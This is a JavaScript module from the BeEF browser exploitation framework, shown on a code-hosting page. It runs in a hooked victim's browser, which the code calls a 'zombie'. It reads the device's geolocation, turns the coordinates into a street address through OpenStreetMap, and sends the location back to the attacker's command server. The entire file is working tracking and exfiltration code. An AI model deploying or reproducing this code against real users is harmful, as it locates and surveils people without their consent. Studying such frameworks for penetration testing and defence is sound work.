a803936fad
git-svn-id: https://beef.googlecode.com/svn/trunk@527 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
75 lines
2.6 KiB
JavaScript
75 lines
2.6 KiB
JavaScript
/*!
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* @literal object: beef.geolocation
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*
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* Provides functionalities to use the geolocation API.
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*/
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beef.geolocation = {
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/**
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* check if browser supports the geolocation API
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*/
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isGeolocationEnabled: function(){
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return !!navigator.geolocation;
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},
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/*
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* given latitude/longitude retrieves exact street position of the zombie
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*/
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getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
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beef.net.request(
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'http://nominatim.openstreetmap.org/reverse?format=json&lat=' + latitude + '&lon=' + longitude + '&zoom=18&addressdetails=1',
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'GET',
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function(response) {
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if(response.length > 0) {
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var jsonData = JSON.parse(response);
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beef.net.sendback(command_url, command_id, "latitude=" + latitude
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+ "&longitude=" + longitude
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+ "&openStreetMap=" + escape(jsonData.display_name)
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+ "&geoLocEnabled=True");
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}
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},
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''
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);
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},
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/*
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* retrieve latitude/longitude using the geolocation API
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*/
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getGeolocation: function (command_url, command_id){
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if (!navigator.geolocation) {
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beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
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return;
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}
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navigator.geolocation.getCurrentPosition( //note: this is an async call
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function(position){ // success
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var latitude = position.coords.latitude;
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var longitude = position.coords.longitude;
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beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
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}, function(error){ // failure
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switch(error.code) // Returns 0-3
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{
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case 0:
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beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
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return;
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case 1:
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beef.net.sendback(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
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return;
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case 2:
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beef.net.sendback(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
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return;
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case 3:
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beef.net.sendback(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
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return;
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}
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beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
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},
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{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
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);
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}
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}
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beef.regCmp('beef.geolocation'); |